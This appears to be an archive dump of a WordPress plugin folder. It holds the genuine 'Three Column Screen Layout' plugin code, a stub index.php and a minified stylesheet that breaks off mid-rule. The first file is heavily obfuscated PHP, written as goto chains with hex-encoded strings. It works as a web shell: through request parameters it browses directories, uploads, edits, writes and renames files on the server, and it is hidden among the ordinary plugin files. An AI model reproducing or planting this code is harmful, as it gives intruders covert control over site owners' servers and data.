pVc_i; vzWXR: return "\x3c\x69\x20\143\154\x61\163\x73\75\42\x66\x61\55\x73\157\x6c\151\144\x20\146\x61\x2d\146\x69\x6c\145\42\76\x3c\x2f\x69\76\40"; goto YOAQT; qR2IQ: IamBh: goto ltTDq; rHACM: IJ7ry: goto YXQa9; O65lT: return "\x3c\x69\40\x63\x6c\x61\x73\163\x3d\x22\x66\x61\55\163\x6f\x6c\151\x64\x20\146\x61\x2d\x68\141\155\155\145\x72\x22\x3e\x3c\57\x69\76\40"; goto eTlwf; iItKn: if (!($LcNOU == "\150\x74\x6d\154" || $LcNOU == "\150\x74\x6d")) { goto sQ0WM; } goto S2_mv; tENWk: goto DU8TM; goto MnJvc; CUNAV: return "\74\x69\40\x63\x6c\x61\x73\x73\x3d\x22\146\x61\55\142\162\141\x6e\x64\x73\40\146\x61\55\143\163\x73\x33\42\76\x3c\x2f\x69\76\40"; goto MfRrh; CaTmI: goto Rlnzk; goto n0JuU; QwY2i: goto hougE; goto UwlBH; IHRtb: Rlnzk: goto u2tvk; LpZGQ: Ci8Ox: goto U_dXz; MG55j: return "\74\151\x20\143\154\141\163\x73\75\x22\x66\141\55\x62\162\141\156\x64\163\40\146\141\x2d\160\150\x70\42\x3e\74\x2f\151\x3e\x20"; goto Iy3ma; DsSsB: UEVOK: goto ldVS7; R12bF: goto UEVOK; goto PvicZ; Ocu7G: goto RNjt6; goto mlu21; AgzJZ: goto tYIT4; goto JvLjN; nKXS1: aaSDB: goto gJ0LV; PvicZ: pbt8K: goto iDogm; hPODk: sQ0WM: goto geDtq; F8c0d: jj8g_: goto RdXAo; pVc_i: PHBVc: goto vzWXR; hhtEe: Tdh3V: goto FCasW; lGgJB: goto IamBh; goto uEndw; onvQX: D9AHK: goto shrzw; zvClz: if (!($LcNOU == "\x70\x68\160" || $LcNOU == "\x70\150\x74\x6d\x6c")) { goto D9AHK; } goto L8enU; W166R: goto OcVAs; goto TZe5S; WEP1O: hougE: goto orqSa; q6DED: if (!in_array($LcNOU, $Gi852)) { goto IJ7ry; } goto p6BbH; i_gN9: mygdg: goto Z4Grl; wJnOx: VGPeu: goto IIo9B; SBjZH: goto DU8TM; goto t9_1x; MfRrh: goto VH18z; goto lTM_i; p3Z0B: u2EMD: goto pL5a7; t17DZ: goto ybmHM; goto Cf9PF; q1MO3: j9nf7: goto TpWoC; blaF0: if (!($LcNOU == "\x6a\163")) { goto aaSDB; } goto kQG2y; eTlwf: goto btAZj; goto OJmAn; K11wl: uV34d: goto xi9D6; Mi_tR: zVMy2: goto t17DZ; wu2eW: O8zmL: goto rWkwn; U_dXz: if (!in_array($LcNOU, $BMeFo)) { goto HPLIV; } goto R9X2s; RpuWw: goto bujFe; goto k_HLZ; k_HLZ: EdefJ: goto IWf8w; Dpq4X: WlFZD: goto rNhao; L8enU: goto cpNbC; goto onvQX; H7OcV: SUf2j: goto q6DED; fZmnF: utWav: goto pSDEN; fvlx0: HPLIV: goto Ocu7G; kyMyX: $BMeFo = array("\x77\x61\166", "\x6d\64\x61", "\155\64\142", "\x6d\x70\63", "\157\x67\147", "\167\x65\x62\x6d", "\x6d\x70\143"); goto wgr2l; TZe5S: hDkB1: goto YSPiH; EK_mG: opw7e: goto VvX1z; Rd_wD: goto vVGhw; goto LpZGQ; orqSa: if (!($LcNOU == "\164\170\x74")) { goto nSK3x; } goto wg_rJ; e76EZ: return "\x3c\151\40\x63\154\x61\163\163\75\42\x66\141\55\162\x65\x67\165\154\141\162\x20\x66\141\x2d\x69\x6d\141\x67\x65\163\42\76\74\x2f\151\x3e\40"; goto W166R; RdXAo: $LcNOU = strtolower(Yw2K3($bFLcc)); goto N9Jhh; lTM_i: bujFe: goto wbMj6; YSPiH: return "\74\x69\x20\x63\154\141\163\x73\75\x22\146\141\55\142\x72\141\x6e\144\x73\40\x66\141\x2d\x70\171\x74\x68\157\156\42\x3e\x3c\57\x69\76\x20"; goto YIig9; zxrIC: goto fiLMO; goto Mi_tR; Iy3ma: goto delPj; goto lyqzS; t9_1x: goto YzMmY; goto jKGIT; TBSX_: goto Ci8Ox; goto sX_yr; gAF40: goto DU8TM; goto AgzJZ; IIo9B: goto Tdh3V; goto iFCvq; eG4pt: k4Ni8: goto sMWfY; XWRoV: PPSkJ: goto Ogwys; kQG2y: goto WlFZD; goto nKXS1; rNhao: goto hcTrs; goto F8c0d; UwlBH: RNjt6: goto VKIVX; AODBQ: iSRd0: goto O65lT; IHf6m: nSK3x: goto TBSX_; EHzPH: goto PZ205; goto eG4pt; VKIVX: if (!($LcNOU == "\x70\x79")) { goto k4Ni8; } goto EHzPH; Z4Grl: if (!($LcNOU == "\x63\x73\163")) { goto BbyZx; } goto SXdCd; R9X2s: goto DCFnR; goto fvlx0; VvX1z: goto DU8TM; goto l5YAy; ZVCyT: XJXZE: goto RpuWw; D7Qfs: BbyZx: goto QwY2i; x6llx: goto dfjPO; goto K11wl; MnJvc: goto pbt8K; goto fZmnF; ltvL0: vVGhw: goto CUNAV; B1Vuj: goto utWav; goto IHRtb; rWkwn: bFZwD: goto Rd_wD; ztHuA: NSG4K: goto xKvo5; t0sf3: gtCl0: goto wJnOx; U3DOv: goto hDkB1; goto ztHuA; wg_rJ: goto VGPeu; goto IHf6m; DUn8h: goto u2EMD; goto H7OcV; u2tvk: DU8TM: goto F5tMu; iFCvq: o0WOX: goto blaF0; eq16N: goto QAILa; goto DsSsB; mlu21: ybmHM: goto nz4OT; TpWoC: goto K3YOx; goto AODBQ; gJ0LV: goto PHBVc; goto WEP1O; S2_mv: goto NAiva; goto hPODk; y1NQ_: OcVAs: goto Oatri; pL5a7: return "\x3c\151\x20\143\154\x61\x73\163\x3d\x22\146\141\x2d\x64\x75\157\164\x6f\x6e\145\40\146\141\x2d\x66\151\154\145\55\155\165\x73\x69\x63\x22\x3e\x3c\x2f\x69\76\40"; goto LyeyU; nz4OT: goto j9nf7; goto ojOFa; SXdCd: goto bFZwD; goto D7Qfs; Ogwys: DCFnR: goto DUn8h; yMGWO: goto VEG20; goto ZVCyT; AWGOr: goto gtCl0; goto qR2IQ; YIig9: goto opw7e; goto Lwv0E; ltTDq: goto j9nf7; goto R12bF; Cf9PF: YzMmY: goto wlcdy; ONsnJ: cpNbC: goto eq16N; Lwv0E: W0R44: goto zvClz; Oatri: goto DU8TM; goto t7H5r; KFAGF: goto PPSkJ; goto qEx5b; hugH1: goto DU8TM; goto AWGOr; iDogm: sMDqZ: goto Hw6lx; ldVS7: fiLMO: goto XAwHt; p6BbH: goto sMDqZ; goto rHACM; WKK8m: YSo4E: goto gAF40; shrzw: goto SUf2j; goto wu2eW; S56Zw: tYIT4: goto FL6I0; IWf8w: goto DU8TM; goto xWt5c; B6q1d: goto EdefJ; goto FCZdP; rh0rD: VEG20: goto LsFq2; OJmAn: K3YOx: goto iItKn; l5YAy: goto FYOIs; goto S56Zw; JvLjN: hcTrs: goto css0D; DQ29J: goto J_Imy; goto p3Z0B; Hw6lx: goto stz4E; goto AC2Li; xi9D6: goto DU8TM; goto KFAGF; F5tMu: goto gvVpY; goto WR18B; ojOFa: goto MivTE; goto ZY087; mxWJ6: goto uV34d; goto Yp3zE; kE7Ii: return "\x3c\151\40\143\154\141\163\163\x3d\42\x66\141\55\x62\x72\x61\156\144\x73\x20\146\141\55\150\164\x6d\x6c\65\x22\76\x3c\57\x69\76\40"; goto B6q1d; jKGIT: btAZj: goto q1MO3; wlcdy: NAiva: goto DQ29J; FCasW: return "\74\151\40\143\x6c\x61\163\163\x3d\x22\x66\141\x2d\162\145\147\165\x6c\x61\x72\40\146\141\55\x66\151\154\x65\55\154\x69\156\x65\x73\42\x3e\74\57\151\x3e\x20"; goto mxWJ6; css0D: return "\74\151\40\x63\154\141\x73\x73\x3d\42\146\x61\x2d\142\162\141\156\x64\x73\40\x66\x61\x2d\152\x73\x22\76\x3c\57\x69\76\40"; goto CaTmI; kCS7i: if (!($bFLcc == "\145\162\x72\x6f\x72\x5f\x6c\x6f\x67")) { goto XJXZE; } goto yMGWO; FL6I0: PZ205: goto U3DOv; M8_jB: VVtM0: goto kCS7i; xKvo5: return "\74\151\40\x63\x6c\141\163\x73\75\x22\146\x61\55\x73\x68\141\162\160\40\x66\x61\x2d\x73\157\154\151\144\40\146\141\55\x62\x75\x67\x22\x3e\74\57\x69\x3e\40"; goto lGgJB; YXQa9: goto mygdg; goto M8_jB; lyqzS: RC81q: goto SBjZH; wbMj6: if (!($bFLcc == "\56\150\164\141\x63\143\x65\x73\x73")) { goto zVMy2; } goto zxrIC; XAwHt: goto iSRd0; goto ltvL0; LsFq2: goto NSG4K; goto XWRoV; N9Jhh: goto VVtM0; goto t0sf3; Yp3zE: QAILa: goto MG55j; AC2Li: MivTE: goto rh0rD; XGrGJ: VH18z: goto hugH1; sX_yr: gvVpY: goto UC0zT; WR18B: delPj: goto tENWk; YOAQT: goto RC81q; goto y1NQ_; t7H5r: goto O8zmL; goto WKK8m; sMWfY: goto o0WOX; goto hhtEe; ZY087: ig9vR: goto ONsnJ; pSDEN: $Gi852 = array("\141\x70\156\x67", "\141\166\x69\146", "\147\151\146", "\152\160\147", "\x6a\x70\145\147", "\x6a\x66\151\x66", "\160\152\160\x65\147", "\x70\152\160", "\x70\x6e\x67", "\163\166\147", "\x77\145\142\160"); goto x6llx; xWt5c: goto ig9vR; goto EK_mG; n0JuU: FYOIs: goto Dpq4X; FCZdP: stz4E: goto e76EZ; geDtq: goto W0R44; goto XGrGJ; uEndw: J_Imy: goto kE7Ii; wgr2l: goto jj8g_; goto i_gN9; qEx5b: dfjPO: goto kyMyX; UC0zT: } goto RLVjX; NceqX: goto qGCLv; goto FCodr; KhEPr: if (empty($_GET)) { goto CbVUu; } goto x0czg; Wp1aU: b1LP0: goto ZeExc; rx2YP: uv0GR: goto Sfsw1; VZePr: goto slUDP; goto eLs1O; b0wNF: XVyso: goto grTby; Fe1RG: goto tqxAN; goto cH1vl; GeD7m: cakjA: goto A3qXr; SjJmZ: FmklC: goto wYw3z; S2c_s: if (isset($_GET["\144"]) && isset($_GET["\161"])) { goto dd9OH; } goto VZePr; FgGn_: XZQG5: goto Byluh; e3e87: goto TTL1Z; goto E_geL; aGj4a: goto wL7at; goto zJfUX; W8TM0: DcMlt: goto B3RM3; To4bd: qGCLv: goto tBw9R; qYveb: M5wvw: goto gowy_; Aw6AG: goto nv1ec; goto hpT6l; O_iKY: goto pl7gd; goto KMw33; begTU: CK1lm: goto JUf79; ofNFH: WNxfF: goto yeQey; H9Fkp: Hl5e7: goto KhEPr; egHZy: echo "\74\163\x63\162\151\x70\164\x3e\x61\x6c\x65\162\x74\x28\x27\x53\157\155\145\40\145\162\x72\157\162\40\x6f\x63\143\x75\162\x72\145\x64\x2e\x27\51\73\40\x77\151\x6e\x64\x6f\167\x2e\154\157\x63\141\164\151\x6f\x6e\x2e\162\145\160\154\x61\143\x65\50\x27\x3f\x70\x3d" . fvVCh(BiAk2) . "\47\51\73\74\x2f\x73\x63\162\151\x70\164\76"; goto Ibx1e; SMCag: zzQBU: goto BBbvM; ZdiF9: goto hzE7r; goto tT5Cn; Io5fI: wXkVo: goto S5eVM; KxnnS: G0wuC: goto iSKhJ; BOBUB: goto b7zaC; goto kA5Nc; KuX5B: goto wNvKn; goto kvIvA; RyEXK: echo "\12\x20\x20\40\40\x3c\x66\x6f\x72\155\40\x6d\x65\164\x68\x6f\144\x3d\x22\x70\157\x73\164\x22\76\12\x20\x20\40\x20\x20\40\x20\x20\122\x65\156\x61\x6d\x65\72\xa\x20\x20\x20\40\x20\x20\40\40\x3c\151\x6e\160\165\164\x20\x74\171\160\145\x3d\x22\x74\x65\x78\164\42\40\156\x61\x6d\x65\75\x22\156\141\x6d\x65\42\40\x76\x61\x6c\165\x65\75\x22" . $_GET["\162"] . "\42\76\xa\40\x20\x20\x20\x20\x20\40\x20\74\x69\x6e\x70\165\164\40\x74\x79\160\x65\75\x22\x73\165\x62\155\151\x74\42\x20\x63\154\141\163\x73\x3d\x22\x62\x74\x6e\40\x62\x74\x6e\x2d\x64\x61\162\x6b\x22\x20\x76\x61\154\165\145\75\x22\x52\x65\156\141\x6d\x65\x22\x20\x6e\141\x6d\x65\75\x22\162\145\156\x61\x6d\145\x22\76\xa\x20\x20\x20\40\74\x2f\x66\x6f\x72\x6d\76"; goto WPAkh; OEDs7: oqNvT: goto Z2KlP; BSaew: su1GO: goto atCPr; nPSTC: CY4iE: goto L1tya; vblhQ: goto i9EUM; goto BSaew; xIjzk: goto awHDD; goto jH50s; hv3IZ: goto TXZYw; goto w9pD6; uYBKB: goto d577N; goto mWHS5; U9ODp: goto NQg5d; goto GeD7m; w9pD6: ICEaW: goto k5uGS; ZeExc: if (isset($_POST["\x65\144\151\164"])) { goto NTLCM; } goto O6Lcd; jH50s: Trurz: goto nZB9l; S8W2C: A4zH1: goto y2101; t8F3k: Rm18i: goto w0rFO; CHxxD: goto V_qpU; goto NdJIz; ucbW2: goto WxiCp; goto agWeM; ze817: goto Q5m6d; goto H9Fkp; rRaEx: LtFKK: goto J59sK; OiOVL: p8ftD: goto ocUT4; K22RT: goto Yz5aS; goto DLIad; cib3h: goto ZdCLC; goto oVa1x; cS30_: goto qt3kE; goto USxlm; USxlm: ayJ78: goto mylan; Y4_lc: goto mi_ER; goto begTU; XLwhm: define("\102\151\x41\153\62", $RqUEp); goto E_JBL; G0jIX: nkE0z: goto D2pDf; ftyKQ: fWxDu: goto pWndG; i1MEU: fclose($idYE7); goto VIuAB; hrLMt: goto BwpBF; goto rxqvg; g0ucU: goto sKJH5; goto XWe6F; NXUNz: $RqUEp = $NXKaz; goto b4Tlv; svkfl: if (!fwrite($idYE7, $B2eoY)) { goto jmMol; } goto HoySF; ambhT: goto p8ftD; goto xuiKg; klNmS: goto y0rw3; goto To4bd; iP3SZ: if (is_dir(rf42g($_GET["\x71"]))) { goto CSeYv; } goto g0ucU; Xa2jL: goto mHGIr; goto wEiw3; t5SJZ: IWIt0: goto hrLMt; Owl1p: Q5m6d: goto Qjy_g; pZjkg: s0TTf: goto GXE9g; lRwAf: OkVHq: goto InNNz; aQJTl: PS8QR: goto dGlpy; KMw33: wL7at: goto Zf_SU; GAgXr: goto LlGvk; goto Gaoo4; iu5EN: x3aje: goto xyB_o; Ux648: QvHkT: goto r58Tj; gKAX5: echo "\x3c\x73\x63\162\151\160\164\x3e\x77\151\x6e\x64\157\167\56\x6c\x6f\x63\141\x74\151\x6f\156\x2e\x72\x65\x70\x6c\141\x63\x65\50\x27\77\x70\x3d\47\51\x3b\x3c\x2f\x73\x63\x72\151\x70\x74\x3e"; goto klNmS; y2101: goto ooTyp; goto o8yd7; iEobI: goto toihV; goto uokym; xyB_o: if (!move_uploaded_file($_FILES["\146\x69\x6c\x65\x54\x6f\125\x70\x6c\x6f\141\144"]["\x74\155\x70\x5f\x6e\141\x6d\145"], $Gb7jr)) { goto dMwiD; } goto jFl4Q; UDyz0: goto Rm18i; goto Xdr07; Q8sl3: FbEVF: goto svkfl; tGcIw: im97Z: goto EuDO_; WxtCl: BvBSu: goto CWENq; ixO5P: y0rw3: goto vVuQ_; G1nl6: BwpBF: goto IGpRs; kq34l: $Xb7P9 = scandir(BiAk2); goto W1DHH; kVqc2: goto illyg; goto O3fNV; ovfCy: echo "\12\x20\40\x20\40\74\x73\x63\x72\151\x70\164\x20\163\162\x63\75\42\x68\164\x74\160\163\x3a\x2f\x2f\x63\144\156\56\152\x73\x64\x65\x6c\151\166\x72\56\x6e\x65\x74\x2f\156\x70\x6d\57\x62\157\x6f\164\163\164\x72\x61\x70\x40\65\56\63\56\60\55\x61\154\x70\150\x61\x31\x2f\144\151\163\x74\57\152\163\57\x62\157\157\x74\163\164\162\x61\160\56\x62\165\x6e\144\x6c\x65\56\155\x69\156\56\152\x73\x22\12\40\x20\40\40\x20\40\40\x20\x69\x6e\164\145\x67\x72\x69\164\171\75\x22\163\150\x61\63\x38\64\x2d\167\67\66\101\161\x50\146\104\x6b\115\x42\x44\130\x6f\63\x30\x6a\x53\61\x53\147\x65\172\x36\x70\162\x33\170\65\x4d\154\x51\x31\x5a\101\x47\x43\53\156\x75\132\102\x2b\105\x59\x64\147\122\x5a\147\151\x77\170\150\x54\102\x54\153\106\67\x43\x58\166\116\x22\xa\40\x20\40\x20\x20\40\x20\x20\143\x72\x6f\x73\163\x6f\162\x69\x67\x69\x6e\75\42\x61\x6e\x6f\x6e\x79\155\x6f\165\x73\x22\x3e\74\57\x73\143\x72\151\160\x74\x3e\12\x3c\57\x62\157\x64\171\76\12\xa\74\57\150\x74\155\x6c\76";

shawwa/index.php000064400000000031147510273060007655 0ustar00<?php
//silence is goldenshawwa/three-column-screen-layout.php000064400000010220147510273060013741 0ustar00<?php
/**
	Plugin Name: Three Column Screen Layout
	Plugin URI: http://wordpress.org/plugins/three-column-screen-layout/
	Description: Three, four and five column screen layouts for the post editor.
	Version: 4.2
	Author: Chad Hovell
	Author URI: http://www.chadhovell.com.au
	Text Domain: three-column-screen-layout
	License: GPLv2 or later

	Copyright 2016 Chad Hovell (email: chadhovell@gmail.com)

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License, version 2, as 
	published by the Free Software Foundation.
	
	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.
*/

if (!class_exists('Three_Column_Screen_Layout')) {
	class Three_Column_Screen_Layout {

		public function __construct() {
			register_activation_hook(__FILE__, array($this, 'activate'));
			register_deactivation_hook(__FILE__, array($this, 'deactivate'));
			if (function_exists('get_bloginfo') && version_compare(get_bloginfo('version'), '3.4') >= 0) {
				global $pagenow;
				if (is_admin() && in_array($pagenow, array('post.php', 'post-new.php'))) {
					add_action('admin_head', array($this, 'admin_head'));
					add_action('admin_footer', array($this, 'admin_footer'));
					add_action('admin_enqueue_scripts', array($this, 'admin_scripts'));
				}
			}
		}
		
		public function activate() {
			global $wpdb;
			if ($wpdb->get_results(sprintf("SELECT * FROM %s WHERE option_name = '_site_transient_update_plugins' AND option_value LIKE '%%three-column-screen-layout%%';", $wpdb->options))) {
				$wpdb->query(sprintf("UPDATE %s SET meta_value = replace(meta_value, 's:8:\"advanced\"', 's:5:\"side3\"') WHERE meta_key LIKE 'meta-box-order_%%';", $wpdb->usermeta));
			}
		}
		
		public function deactivate() {
			global $wpdb;
			$wpdb->query(sprintf("UPDATE %s SET meta_value = replace(meta_value, 's:5:\"side3\"', 's:6:\"normal\"'), meta_value = replace(meta_value, 's:5:\"side4\"', 's:6:\"normal\"') WHERE meta_key LIKE 'meta-box-order_%%';", $wpdb->usermeta));
		}
		
		public function admin_head() {
			ob_start();
			add_screen_option('layout_columns', array('max'=>24, 'default'=>2));
		}
		
		public function admin_footer() {
			$this->splice_columns(ob_get_clean());
		}
		
		public function admin_scripts() {
			wp_enqueue_style('Three_Column_Screen_Layout-style', plugins_url('/style.min.css?v=4.2', __FILE__));
		}

		protected function create_metabox($i) {
			global $post_type;
			global $post;
			ob_start();
			$name = sprintf('side%d', $i);
			do_action('do_meta_boxes', $post_type, $name, $post);
			do_meta_boxes($post_type, $name, $post);
			return sprintf('<div id="postbox-container-%d" class="postbox-container">%s</div>', $i, ob_get_clean());
		}
		
		protected function splice_columns($content) {
			$pref_start = 		strpos($content, 'class="screen-layout"');
			$pref_end = 		strpos($content, 'id="screenoptionnonce"', $pref_start);
			$postbody_start = 	strpos($content, 'id="post-body"', $pref_start);
			$columns_start = 	strpos($content, 'metabox-holder columns-', $postbody_start) + 23;
			$container_start = 	strpos($content, '<div id="postbox-container-2"', $postbody_start);
			
			if ($pref_start && $pref_end && $postbody_start && $columns_start && $container_start) {
				$pref_old = substr($content, $pref_start, $pref_end - $pref_start);
				$pref_val = preg_match("/value='(\d+)'[\r\n\s]+checked/", $pref_old, $matches) ? $matches[1] : 2;
				$pref_new = preg_replace('/(>)[^<]*(<label)/', '$1$2', $pref_old);
				$pref_new = preg_replace('/(\/>)[\r\n\s]+[^<]*[\s]+(<\/label>)\s*/', '$1<span class="columns-prefs-icon"></span>$2', $pref_new);
				
				if ($pref_new != $pref_old) {
					$content = substr_replace($content, $this->create_metabox(3).$this->create_metabox(4), $container_start, 0);
					$content = substr_replace($content, $pref_val, $columns_start, 1);
					$content = substr_replace($content, $pref_new, $pref_start, $pref_end - $pref_start);
				}
			}
			echo $content;
		}
	}
	
	$Three_Column_Screen_Layout = new Three_Column_Screen_Layout();
}
?>shawwa/style.min.css000064400000072245147510273060010511 0ustar00.columns-prefs label{display:inline-block!important;position:relative;width:26px;height:26px;margin:0 0 8px 0}.columns-prefs label:hover .columns-prefs-icon{opacity:0.35}.columns-prefs label input{visibility:hidden}.columns-prefs label input:checked + .columns-prefs-icon{opacity:0.5}.columns-prefs .columns-prefs-icon{background:url(icons.png?v=4.2);width:26px;height:26px;position:absolute;left:0;border:1px solid #000;border-radius:2px;transition:opacity 0.1s;opacity:0.2}.columns-prefs-1 .columns-prefs-icon{background-position:0 0}.columns-prefs-2 .columns-prefs-icon{background-position:-26px 0}.columns-prefs-3 .columns-prefs-icon{background-position:-52px 0}.columns-prefs-4 .columns-prefs-icon{background-position:-78px 0}.columns-prefs-5 .columns-prefs-icon{background-position:-104px 0}.columns-prefs-6 .columns-prefs-icon{background-position:-130px 0}.columns-prefs-7 .columns-prefs-icon{background-position:-156px 0}.columns-prefs-8 .columns-prefs-icon{background-position:-182px 0}.columns-prefs-9 .columns-prefs-icon{background-position:-208px 0}.columns-prefs-10 .columns-prefs-icon{background-position:-234px 0}.columns-prefs-11 .columns-prefs-icon{background-position:-260px 0}.columns-prefs-12 .columns-prefs-icon{background-position:-286px 0}.columns-prefs-13 .columns-prefs-icon{background-position:-312px 0}.columns-prefs-14 .columns-prefs-icon{background-position:-338px 0}.columns-prefs-15 .columns-prefs-icon{background-position:-364px 0}.columns-prefs-16 .columns-prefs-icon{background-position:-390px 0}.columns-prefs-17 .columns-prefs-icon{background-position:-416px 0}.columns-prefs-18 .columns-prefs-icon{background-position:-442px 0}.columns-prefs-19 .columns-prefs-icon{background-position:-468px 0}.columns-prefs-20 .columns-prefs-icon{background-position:-494px 0}.columns-prefs-21 .columns-prefs-icon{background-position:-520px 0}.columns-prefs-22 .columns-prefs-icon{background-position:-546px 0}.columns-prefs-23 .columns-prefs-icon{background-position:-572px 0}.columns-prefs-24 .columns-prefs-icon{background-position:-598px 0}#post-body{min-width:280px}#post-body #post-body-content{min-width:300px!important}#post-body #normal-sortables{min-height:32px;min-width:280px}#post-body #side-sortables{min-height:32px;min-width:280px}#post-body #side3-sortables{min-height:32px;min-width:280px}#post-body #side4-sortables{min-height:32px;min-width:280px}#post-body #postbox-container-1,#post-body #postbox-container-2,#post-body #postbox-container-3,#post-body #postbox-container-4,#post-body #side-sortables,#post-body #side3-sortables,#post-body #side4-sortables,#post-body #normal-sortables{margin-left:0;margin-right:0}#post-body.columns-2{margin-right:300px;margin-left:0}#post-body.columns-2 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-2 #side-sortables{margin-left:20px}#post-body.columns-3{margin-right:300px;margin-left:0}#post-body.columns-3 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-3 #side-sortables{margin-left:20px}#post-body.columns-4{margin-right:300px;margin-left:0}#post-body.columns-4 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-4 #side-sortables{margin-left:20px}#post-body.columns-5{margin-right:300px;margin-left:0}#post-body.columns-5 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-5 #side-sortables{margin-left:20px}#post-body.columns-6{margin-right:300px;margin-left:0}#post-body.columns-6 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-6 #side-sortables{margin-left:20px}#post-body.columns-7{margin-right:300px;margin-left:0}#post-body.columns-7 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-7 #side-sortables{margin-left:20px}#post-body.columns-8{margin-right:300px;margin-left:0}#post-body.columns-8 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-8 #side-sortables{margin-left:20px}#post-body.columns-9{margin-right:300px;margin-left:0}#post-body.columns-9 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-9 #side-sortables{margin-left:20px}#post-body.columns-10{margin-right:300px;margin-left:0}#post-body.columns-10 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-10 #side-sortables{margin-left:20px}#post-body.columns-11{margin-right:300px;margin-left:0}#post-body.columns-11 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-11 #side-sortables{margin-left:20px}#post-body.columns-12{margin-right:300px;margin-left:0}#post-body.columns-12 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-12 #side-sortables{margin-left:20px}#post-body.columns-13{margin-right:300px;margin-left:0}#post-body.columns-13 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-13 #side-sortables{margin-left:20px}#post-body.columns-14{margin-right:300px;margin-left:0}#post-body.columns-14 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-14 #side-sortables{margin-left:20px}#post-body.columns-15{margin-right:300px;margin-left:0}#post-body.columns-15 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-15 #side-sortables{margin-left:20px}#post-body.columns-16{margin-right:300px;margin-left:0}#post-body.columns-16 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-16 #side-sortables{margin-left:20px}#post-body.columns-17{margin-right:300px;margin-left:0}#post-body.columns-17 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-17 #side-sortables{margin-left:20px}#post-body.columns-18{margin-right:300px;margin-left:0}#post-body.columns-18 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-18 #side-sortables{margin-left:20px}#post-body.columns-19{margin-right:300px;margin-left:0}#post-body.columns-19 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-19 #side-sortables{margin-left:20px}#post-body.columns-20{margin-right:300px;margin-left:0}#post-body.columns-20 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-20 #side-sortables{margin-left:20px}#post-body.columns-21{margin-right:300px;margin-left:0}#post-body.columns-21 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-21 #side-sortables{margin-left:20px}#post-body.columns-22{margin-right:300px;margin-left:0}#post-body.columns-22 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-22 #side-sortables{margin-left:20px}#post-body.columns-23{margin-right:300px;margin-left:0}#post-body.columns-23 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-23 #side-sortables{margin-left:20px}#post-body.columns-24{margin-right:300px;margin-left:0}#post-body.columns-24 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-24 #side-sortables{margin-left:20px}#post-body #content_toolbargroup #content_toolbar1 > tbody,#post-body #content_toolbargroup #content_toolbar2 > tbody{white-space:normal}#post-body #content_toolbargroup #content_toolbar1 > tbody > tr > td,#post-body #content_toolbargroup #content_toolbar2 > tbody > tr > td{float:left;min-height:28px}@media screen and (min-width:822px){#post-body.columns-2{margin-right:300px}#post-body.columns-2 #postbox-container-1{width:300px;margin-right:-300px}#post-body.columns-2 #side-sortables{margin-left:20px}#post-body.columns-3{margin-right:50%}#post-body.columns-3 #postbox-container-1{width:100%;margin-right:-100%}#post-body.columns-3 #side-sortables{margin-left:20px}}@media screen and (min-width:1122px){#post-body.columns-4{margin-right:600px}#post-body.columns-4 #postbox-container-1{margin-right:-600px}#post-body.columns-4 #postbox-container-3{float:right;width:300px;margin-right:-300px}#post-body.columns-4 #side3-sortables{margin-left:20px}#post-body.columns-6{margin-right:66.6666%}#post-body.columns-6 #postbox-container-1{width:100%;margin-right:-200%}#post-body.columns-6 #postbox-container-3{float:right;width:100%;margin-right:-100%}#post-body.columns-6 #side3-sortables{margin-left:20px}#post-body.columns-12 #side3-sortables,#post-body.columns-15 #side4-sortables{margin-right:300px}#post-body.columns-12 #postbox-container-4,#post-body.columns-15 #postbox-container-2{width:300px;margin-left:-300px}#post-body.columns-12 #side4-sortables,#post-body.columns-15 #normal-sortables{margin-left:20px}#post-body.columns-13 #side3-sortables,#post-body.columns-16 #side4-sortables{margin-right:10px}#post-body.columns-13 #side4-sortables,#post-body.columns-16 #normal-sortables{margin-left:10px}#post-body.columns-13 #postbox-container-3,#post-body.columns-16 #postbox-container-4{width:50%}#post-body.columns-13 #postbox-container-4,#post-body.columns-16 #postbox-container-2{margin-right:-50%;width:50%}#post-body.columns-14 #side4-sortables,#post-body.columns-17 #normal-sortables{margin-right:300px}#post-body.columns-14 #postbox-container-3,#post-body.columns-17 #postbox-container-4{width:300px}#post-body.columns-14 #postbox-container-4,#post-body.columns-17 #postbox-container-2{margin-right:-300px}#post-body.columns-14 #side3-sortables,#post-body.columns-17 #side4-sortables{margin-right:20px}}@media screen and (min-width:1422px){#post-body.columns-5{margin-right:50%}#post-body.columns-5 #postbox-container-1{margin-right:-100%}#post-body.columns-5 #postbox-container-3{float:right;width:100%;margin-right:-100%}#post-body.columns-5 #side3-sortables{margin-right:300px;margin-left:20px}#post-body.columns-7{margin-right:900px}#post-body.columns-7 #postbox-container-1{margin-right:-900px}#post-body.columns-7 #postbox-container-3{float:right;width:300px;margin-right:-600px}#post-body.columns-7 #postbox-container-4{float:right;width:300px;margin-right:-300px}#post-body.columns-7 #side3-sortables,#post-body.columns-7 #side4-sortables{margin-left:20px}#post-body.columns-9{margin-right:75%}#post-body.columns-9 